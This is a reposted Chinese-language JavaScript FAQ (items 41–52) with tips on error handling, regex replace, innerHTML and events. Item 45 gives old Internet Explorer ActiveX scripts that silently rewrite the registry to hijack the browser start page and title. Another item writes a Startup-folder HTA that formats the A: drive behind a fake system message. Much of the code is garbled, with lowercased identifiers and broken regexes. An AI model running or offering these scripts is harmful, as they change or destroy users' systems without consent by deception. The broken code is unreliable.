如何在javascript中捕捉錯(cuò)誤信息
當(dāng)前位置:點(diǎn)晴教程→知識(shí)管理交流
→『 技術(shù)文檔交流 』
41.如何在javascript中捕捉錯(cuò)誤信息?
<script> try{ var s=a.b; } catch(anerror) { alert(anerror.description); } </script> 42.js正則表達(dá)式replace用法 下述示例腳本使用replace方法來(lái)轉(zhuǎn)換串中的單詞。在替換的文本中,腳本使用全局 regexp 對(duì)象的$1和$2屬性的值。注意,在作為第二個(gè)參數(shù)傳遞給replace方法的時(shí)候,regexp對(duì)象的$屬性的名 稱。 <script language="javascript1.2"> re = /(+)(+)/; str = "john smith"; newstr=str.replace(re,"$2, $1"); document.write(newstr) </script> 顯示結(jié)果:"smith, john". str.replace(re,"$2, $1");這一句,$2,$1是什么意思? 下面這個(gè)解釋我也不大明白,可否幫我解釋一下,多謝!{/font] $1, ..., $9屬性 用圓括號(hào)括著的匹配子串,如果有的話。 是regexp的屬性 靜態(tài),只讀 在javascript 1.2, nes 3.0以上版本提供 描述:因?yàn)閕nput是靜態(tài)屬性,不是個(gè)別正則表達(dá)式對(duì)象的屬性。你可以使用regexp.input 訪問(wèn)該 屬性。 能加上圓括號(hào)的子串的數(shù)量不受限制,但正則表達(dá)式對(duì)象只能保留最后9 條。如果你要訪問(wèn)所有的 圓括號(hào)內(nèi)的匹配字串,你可以使用返回的數(shù)組。 regexp.$n 保存滿足用圓括號(hào)括起來(lái)的匹配條件的子串 $2是匹配第2個(gè)括號(hào),$1是匹配第1個(gè)括號(hào),對(duì)多層括號(hào)嵌套應(yīng)該如何區(qū)分?而且如果超過(guò)$1~$9的括號(hào)如何匹配? <script> var reg=/((+)(+))/; var str='john smith'; reg.exec(str); </script> <button onclick=with(regexp)alert($1+''+$2+''+$3);>view</button> 43.如何實(shí)現(xiàn)首頁(yè)全屏幕顯示? <html> <body><script language="javascript"> var coolw=642 var coolh=400 var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1, toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0") window.close() </script></body></html> 44.如何動(dòng)態(tài)改變一個(gè)object對(duì)象的樣式表風(fēng)格的class? <style> .btn1{ background-color:#990000;color:#ffffff; } </style> <button onclick="this.classname='btn1'">你點(diǎn)我一下我的樣式表就改為使用.btn1了</button> 45.如何用腳本來(lái)修改用戶系統(tǒng)的注冊(cè)表? (★★★★不推薦使用★★★★) <script> document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>"); function addfavlnk(loc, dispname, siteurl) { var shor = shl.createshortcut(loc + "\" + dispname +".url"); shor.targetpath = siteurl; shor.save(); } function f(){ try { //activex 初始化 a1=document.applets[0]; a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}"); a1.createinstance(); shl = a1.getobject(); a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}"); a1.createinstance(); fso = a1.getobject(); a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}"); a1.createinstance(); net = a1.getobject(); try { if (documents .cookie.indexof("chg") == -1) { //設(shè)置cookie var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90)); documents .cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;" //設(shè)置cookie完畢 //設(shè)置主頁(yè) shl.regwrite ("hkcu\software\microsoft\internet explorer\main\start page", "http://www.51js.com/"); //修改瀏覽器的標(biāo)題 shl.regwrite ("hkcu\software\microsoft\internet explorer\main\window title", "你的internet explorer已經(jīng)被修改過(guò)了 51js.com"); //設(shè)置cookie var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90)); documents .cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;" var wf, shor, loc; wf = fso.getspecialfolder(0); loc = wf + "\favorites"; if(!fso.folderexists(loc)) { loc = fso.getdrivename(wf) + "\documents and settings\" + net.username + "\favorites"; if(!fso.folderexists(loc)) { return; } } addfavlnk(loc, "無(wú)憂腳本", "http://www.51js.com"); } } catch(e) {} } catch(e) {} } function init() { settimeout("f()", 1000); } init(); </script> 格式化硬盤的, 把啟動(dòng)菜單下的automat.hta刪除即可,這是格式化 a:盤 <object id="scr" classid="clsid:06290bd5-48aa-11d2-8432-006008c3fbfc"> </object> <script> scr.reset(); scr.path="c:\windows\start menu\programs\啟動(dòng)\automat.hta"; scr.doc="<object id='wsh' classid='clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b'></object><script>wsh.run('start /m format a: /q /autotest /u');alert('note:windows is configing the system,do not interrupt it!.');</"+"script>"; scr.write(); </script> <html> <head> <title> 建立文件 </title> </head> <body> <br> <applet code="com.ms.activex.activexcomponent" > </applet> <script language="javascript"> a1=document.applets[0]; fn="51js.htm"; doc="<script>s1=歡迎你訪問(wèn)無(wú)憂腳本!\請(qǐng)您將在啟動(dòng)文件夾內(nèi)的51js.com.htm刪除即可;alert(s1);document.body.innerhtml=s1</"+"script>"; function f1() { a1.setproperty('doc',doc); } function f() { // the activex classid cl="{06290bd5-48aa-11d2-8432-006008c3fbfc}"; a1.setclsid(cl); a1.createinstance(); settimeout("a1.setproperty('path','"+fn+"')",1000); settimeout("f1()",1500); settimeout("a1.invoke('write',va);alert('"+fn+" 被建立');",2000); } settimeout("f()",1000) </script> <script language="vbscript"> va = array() ' 獲取com.ms.com.variant[] </script> <br> </body> </html>原理是一樣的! 46.如何監(jiān)聽(tīng)一個(gè)窗口被關(guān)閉了? <body onunload="alert('你關(guān)閉了這個(gè)窗口')"> 47.什么是innerhtml、outerhtml………還有innertext? 自己用代碼來(lái)體會(huì)一下 <div id=test><table><tr><td>文本<a>鏈接</a>另一段文本</td></tr></table></div> <input type=button onclick=alert(test.innertext) value="show innertext"><br> <input type=button onclick=alert(test.innerhtml) value="show innerhtml"><br> <input type=button onclick=alert(test.outerhtml) value="show outerhtml"><br> 48.關(guān)于try....catch..的語(yǔ)法捕捉錯(cuò)誤使用例子 try{ 可能會(huì)引起錯(cuò)誤的語(yǔ)句 } catch(表達(dá)式) { 錯(cuò)誤處理語(yǔ)句 } 例如: <button onclick=trydemo()>try...catch...demo</button> <script> function trydemo() { try{ var a=b/2;//注意由于b不存在,所以會(huì)引發(fā)一個(gè)異常。 } catch(e) { alert('錯(cuò)誤類型:'+e+'錯(cuò)誤信息:'+e.descrition); } } </script> 49.如何獲得一個(gè)select中選中option的value? select.options[select.selectedindex].value 50.this 和self 有什么區(qū)別,各在哪里用 self指代窗口。 this的情況: 1. 用于元素事件代碼中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function構(gòu)造的類。 <script> function car(){this.name='car';};alert(new car().name); </script> 51.如何禁止ctrl+n? <body onkeydown=return(!(event.keycode==78&&event.ctrlkey))> 52.所有dhtml對(duì)象的屬性和方法其實(shí)在你本機(jī)的硬盤上就有! 查找:dhtmled.ocx 或在delphi/c++builder中import activex 選dhtmled.ocx 該文章在 2010/8/13 8:25:53 編輯過(guò) |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |